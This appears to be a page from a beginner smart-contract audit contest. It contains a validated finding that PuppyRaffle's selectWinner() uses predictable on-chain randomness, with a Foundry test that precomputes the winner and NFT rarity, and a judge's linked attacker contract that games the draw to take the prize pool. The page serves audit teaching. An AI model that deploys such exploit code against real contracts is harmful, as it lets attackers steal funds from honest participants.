Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable/Manipulable Randomness in selectWinner() Lets Attackers Choose the Winner and NFT Rarity.

Root + Impact

Description

selectWinner function(`https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L125`) derives both the winning index and the minted NFT's rarity purely from on-chain. attacker-visible and attacker-influenceable data:
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L128
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L129
for the winner index, and
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L139
for rarity. None of these inputs are secret or unbiasable:
block.timestamp and block.difficulty (post-Merge, block.difficulty returns PREVRANDAO, which is known one block ahead) are visible before the transaction is mined.
msg.sender is fully controlled by whoever calls selectWinner() — anyone can call it, not just a player.
Because both formulas are fully computable off-chain in advance, an attacker can simulate the hash locally for many candidate caller addresses (their own EOAs or precomputed via mining/CREATE2) until they find one that (a) yields a winnerIndex pointing to an address they control in players, and (b) simultaneously yields a rarity value landing in the LEGENDARY_RARITY bucket, then submit the selectWinner() transaction from that specific address.
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L125
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L128
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L129
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L139

Risk

Likelihood:

Its is highly likely.

Impact:

An attacker can deterministically guarantee they win the entire prize pool and mint themselves a Legendary puppy every raffle round, at the expense of honest participants who have no realistic chance of winning.

Proof of Concept

An attacker can precompute RNG

contract PuppyRafflePRNGTest is Test {
........
function testWinnerAndRarityAreFullyPredictable() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
address attacker = address(0xBEEF);
// Attacker precomputes the exact on-chain outcome BEFORE sending any transaction
uint256 expectedWinnerIndex =
uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % players.length;
uint256 expectedRarityRoll =
uint256(keccak256(abi.encodePacked(attacker, block.difficulty))) % 100;
address expectedWinner = puppyRaffle.players(expectedWinnerIndex);
uint256 expectedRarityBucket;
if (expectedRarityRoll <= puppyRaffle.COMMON_RARITY()) {
expectedRarityBucket = puppyRaffle.COMMON_RARITY();
} else if (expectedRarityRoll <= puppyRaffle.COMMON_RARITY() + puppyRaffle.RARE_RARITY()) {
expectedRarityBucket = puppyRaffle.RARE_RARITY();
} else {
expectedRarityBucket = puppyRaffle.LEGENDARY_RARITY();
}
vm.prank(attacker);
puppyRaffle.selectWinner();
// On-chain outcome exactly matches the attacker's off-chain precomputation,
// proving the RNG is fully predictable/selectable by choice of caller address
assertEq(puppyRaffle.previousWinner(), expectedWinner);
assertEq(puppyRaffle.tokenIdToRarity(0), expectedRarityBucket);
}
}

Recommended Mitigation

Do not use block.timestamp, block.difficulty, or msg.sender for randomness. Use a verifiable off-chain randomness source such as Chainlink VRF, which cannot be predicted or biased by any on-chain actor before the request is fulfilled.
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;- remove this code
chain link VRF + add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!